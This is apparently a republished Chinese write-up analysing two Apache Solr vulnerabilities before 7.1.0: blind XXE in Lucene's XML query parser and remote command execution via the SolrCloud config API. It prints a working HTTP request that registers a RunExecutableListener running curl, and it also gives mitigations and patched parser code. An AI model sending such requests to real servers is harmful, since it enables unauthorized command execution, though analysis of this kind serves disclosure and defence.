作者:Urahara
Versions Affected
Apache Solr before 7.1.0 with Apache Lucene before 7.1
Elasticsearch, although it uses Lucene, is NOT vulnerable to this.
Description
Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基于 HTTP 和 Apache Lucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。此次7.1.0之前版本總共爆出兩個漏洞:XML實體擴展漏洞(XXE)和遠程命令執行漏洞(RCE)。
First Vulnerability: XML External Entity Expansion
Test Environment
Linux Ubuntu server x64
Apache Solr 7.0.1 (https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.0.1/)
Java SE Development Kit 8 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)
1. 啟動Solr
Solr不需要額外安裝,解壓安裝包即可,通過bin/solr目錄來啟動
$ bin/solr start
如果在Windows平臺,可以這樣啟動:
bin\solr.cmd start
這樣就可以在后臺啟動Solr,并監聽8983端口,啟動腳本會檢查啟動的正確性并返回提示信息到控制臺。這時就可以通過瀏覽器來訪問管理控制臺(http://localhost:8983/solr/)。
2. 創建Core
如果沒有使用示例配置,為了能夠建立索引和查詢,這里必須創建一個Core
$ bin/solr create -c Urahara # Urahara為你要創建的Core的名稱
這會使用data-driven schema創建一個core,會嘗試根據添加的文檔來確定類型建立索引。
查看所有創建新core的選項:
$ bin/solr create -help
3. 添加文檔
這時候Solr中還是空的,我們需要添加一些文檔以便進行索引。在example/目錄的子目錄下有不同的類型。
在bin/目錄下有一個發送腳本,是一個命令行工具,可以索引不同的文檔。現在不需要關心太多細節。索引部分的所有細節都在The Indexing and Basic Data Operations部分。
要查看有關bin/post的有關信息,使用-help選項。Windows用戶可以參考bin/post工具的Windows部分。bin/post可以發送各種數據類型到Solr,包括原生的XML和JSON格式、CSV文件,豐富的文檔目錄樹,甚至是抓取的簡單網頁。
繼續,根據示例XML文件添加所有文檔:

完成上述操作Solr就已經為這些文檔建立索引并包含在這些文件中。
現在,我們有了索引文檔可以執行查詢。比如下面在所有文檔中查詢video

Vulnerability Analysis
這是一個典型XXE漏洞的缺陷編碼示例,Lucene包含了一個查詢解析器支持XML格式進行數據查詢,出現問題的代碼片段在/solr/src/lucene/queryparser/src/java/org/apache/lucene/queryparser/xml/CoreParser.java文件中

通過查看調用棧中的數據處理流程,在調用lucene xml解析器時確實沒有對DTD和外部實體進行禁用處理,造成了Blind XXE。

Second Vulnerability: Remote Code Execution
依據漏洞作者所披露的漏洞細節來看,RCE需要使用到SolrCloud Collections API,所以RCE只影響Solrcloud分布式系統。
Test Environment
Linux Ubuntu server x64
Apache Solr 7.0.1 (https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/7.0.1/)
Java SE Development Kit 8 (http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html)
Zookeeper 3.4.6 (http://mirror.bit.edu.cn/apache/zookeeper/)
這里我搭建了單節點偽分布式SolrCloud進行漏洞復現和調試
1. 啟動Zookeeper
在ZooKeeper目錄創建data目錄,用來作為單個ZooKeeper節點的存儲目錄,在該目錄下建立一個myid文件echo 1 > data/myid
打開conf/zoo.cfg文件,進行如下修改: dataDir修改為data的路徑,并在文件末尾加上如下配置server.1=localhost:2287:3387
通過bin/zkServer.sh start ./conf/zoo.cfg 啟動Zookeeper服務
2. 啟動Solr
啟動Solr時需要與Zookeeper端口對應
bin/solr start -p 8983 -f -a "-DzkHost=localhost:2181"
至此,我們已完成了SolrCloud的偽分布式搭建

Vulnerability Analysis
RunExecutableListener類中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中執行任意命令

使用了config API傳入add-listener命令即可調用RunExecutableListener

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://127.0.0.1:8080"]
}
}
而這里的“exe”,“dir”,“args”內容也都可以通過http的方式傳入,所以在沒有訪問控制的情況下任何人都可以通過該config API 達到任意命令執行的操作
通過查看代碼,能夠觸發命令執行的事件有兩個:postCommit 和 newSearcher

使用postCommit時,需要使用update進行collection更新后命令才會執行,因此需要兩次進行請求

而使用newSearcher時可直接執行命令

Solution
1.添加Solr訪問控制,包括禁止本地直接未授權訪問
2.升級版本至7.1,該版本已經解決了XML解析問題并刪除了RunExecutableListener類
3.針對XXE可手動修改CoreParser.java文件,按照通常防止基于DOM解析產生XXE的防范方法修復即可
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
//protect from XXE attacks
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
db = dbf.newDocumentBuilder();
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
4.針對RCE問題,由于涉及的是SolrCloud所以建議在所有節點中添加filter,進行相關過濾
Reference
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/425/
暫無評論